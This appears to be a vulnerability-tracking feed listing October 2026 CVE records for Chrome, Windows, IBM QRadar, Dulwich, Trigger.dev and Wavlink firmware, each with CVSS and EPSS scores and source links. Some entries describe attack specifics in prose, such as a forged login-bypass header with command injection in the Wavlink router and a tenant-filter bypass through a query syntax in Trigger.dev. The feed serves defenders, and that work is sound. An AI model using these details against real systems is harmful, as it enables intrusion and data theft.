Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113321&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113324
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113324).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113324&date=2026-10-25).
Sources:
NVD CVE-2026-113324: https://nvd.nist.gov/vuln/detail/CVE-2026-113324
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113324&date=2026-10-25
Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113327
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113327).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113327&date=2026-10-25).
Sources:
NVD CVE-2026-113327: https://nvd.nist.gov/vuln/detail/CVE-2026-113327
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113327&date=2026-10-25
Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113332
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113332).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113332&date=2026-10-25).
Sources:
NVD CVE-2026-113332: https://nvd.nist.gov/vuln/detail/CVE-2026-113332
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113332&date=2026-10-25
Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113335
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113335).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113335&date=2026-10-25).
Sources:
NVD CVE-2026-113335: https://nvd.nist.gov/vuln/detail/CVE-2026-113335
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113335&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113337
Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113337).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113337&date=2026-10-25).
Sources:
NVD CVE-2026-113337: https://nvd.nist.gov/vuln/detail/CVE-2026-113337
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113337&date=2026-10-25
Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113338
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113338).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113338&date=2026-10-25).
Sources:
NVD CVE-2026-113338: https://nvd.nist.gov/vuln/detail/CVE-2026-113338
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113338&date=2026-10-25
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113339
Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113339).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113339&date=2026-10-25).
Sources:
NVD CVE-2026-113339: https://nvd.nist.gov/vuln/detail/CVE-2026-113339
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113339&date=2026-10-25
Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113343
Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113343).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113343&date=2026-10-25).
Sources:
NVD CVE-2026-113343: https://nvd.nist.gov/vuln/detail/CVE-2026-113343
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113343&date=2026-10-25
Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83876
Use after free in Windows Shell allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83876).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83876&date=2026-10-25).
Sources:
NVD CVE-2026-83876: https://nvd.nist.gov/vuln/detail/CVE-2026-83876
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83876
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83876&date=2026-10-25
Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113124
Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113124).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113124&date=2026-10-25).
Sources:
NVD CVE-2026-113124: https://nvd.nist.gov/vuln/detail/CVE-2026-113124
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113124&date=2026-10-25
Memory corruption in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113125
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113125).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113125&date=2026-10-25).
Sources:
NVD CVE-2026-113125: https://nvd.nist.gov/vuln/detail/CVE-2026-113125
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113125&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113127
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113127).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113127&date=2026-10-25).
Sources:
NVD CVE-2026-113127: https://nvd.nist.gov/vuln/detail/CVE-2026-113127
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113127&date=2026-10-25
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive...
https://kevwire.com/record/CVE-2026-93442
IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive... (Oct 20, 2026).
IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93442).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93442&date=2026-10-25).
Sources:
NVD CVE-2026-93442: https://nvd.nist.gov/vuln/detail/CVE-2026-93442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93442&date=2026-10-25
IBM QRadar SIEM 7.6.0.0 through 7.6.0.4, and 7.5.0 through 7.5.0 Update Package 16 Interim Fix 001 could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this...
https://kevwire.com/record/CVE-2026-114245
A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this... (Oct 21, 2026).
A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this issue is some unknown functionality of the file /Admin/includes/Admin-Register-inc.php of the component Add New Admin Form. Executing a manipulation of the argument submit/Admin_id/password can lead to improper authorization. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114245).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114245&date=2026-10-25).
Sources:
NVD CVE-2026-114245: https://nvd.nist.gov/vuln/detail/CVE-2026-114245
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114245&date=2026-10-25
A weakness has been identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this issue is some unknown functionality of the file /Admin/includes/Admin-Register-inc.php of the component Add New Admin Form. Executing a manipulation of the argument submit/Admin_id/password can lead to improper authorization. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects.
https://kevwire.com/record/CVE-2026-114095
Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. (Oct 21, 2026).
Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114095).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114095&date=2026-10-25).
Sources:
NVD CVE-2026-114095: https://nvd.nist.gov/vuln/detail/CVE-2026-114095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114095&date=2026-10-25
Dulwich before 1.2.9 contains a denial of service vulnerability in Pack.resolve_object that allows attackers to cause infinite recursion via self-referential OFS_DELTA objects. Attackers can supply a malicious packfile with an OFS_DELTA delta_offset of 0 to exhaust CPU during clone, fetch, or cat-file operations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments...
https://kevwire.com/record/CVE-2026-114085
Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments... (Oct 21, 2026).
Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments without ownership verification. Attackers with network access and a valid run/snapshot pair can call the attempts/start endpoint to obtain resolved environment variables and run JWTs, or start, complete, and suspend other tenants' runs.
CVSS 8.8 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114085).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114085&date=2026-10-25).
Sources:
NVD CVE-2026-114085: https://nvd.nist.gov/vuln/detail/CVE-2026-114085
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114085&date=2026-10-25
Trigger.dev through 4.7.6 contains a missing authentication vulnerability in the supervisor workload server that allows workloads to manipulate runs belonging to other deployments without ownership verification. Attackers with network access and a valid run/snapshot pair can call the attempts/start endpoint to obtain resolved environment variables and run JWTs, or start, complete, and suspend other tenants' runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST...
https://kevwire.com/record/CVE-2026-114065
Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST... (Oct 21, 2026).
Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST /api/v1/query. Attackers can submit queries with FROM {database.table} expressions, including within subqueries, to skip table allowlist and tenant filters and expose run metadata and payloads.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114065).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114065&date=2026-10-25).
Sources:
NVD CVE-2026-114065: https://nvd.nist.gov/vuln/detail/CVE-2026-114065
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114065&date=2026-10-25
Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST /api/v1/query. Attackers can submit queries with FROM {database.table} expressions, including within subqueries, to skip table allowlist and tenant filters and expose run metadata and payloads.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized...
https://kevwire.com/record/CVE-2026-113802
Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized... (Oct 20, 2026).
Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized file_id parameter of /protocol.csp?opt=ovpn_file requests with type=del to popen(). A remote unauthenticated attacker can send a forged IP-FROM: 127.0.0.1 header to bypass login and execute arbitrary commands as root.
CVSS 9.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113802).
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113802&date=2026-10-25).
Sources:
NVD CVE-2026-113802: https://nvd.nist.gov/vuln/detail/CVE-2026-113802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113802&date=2026-10-25
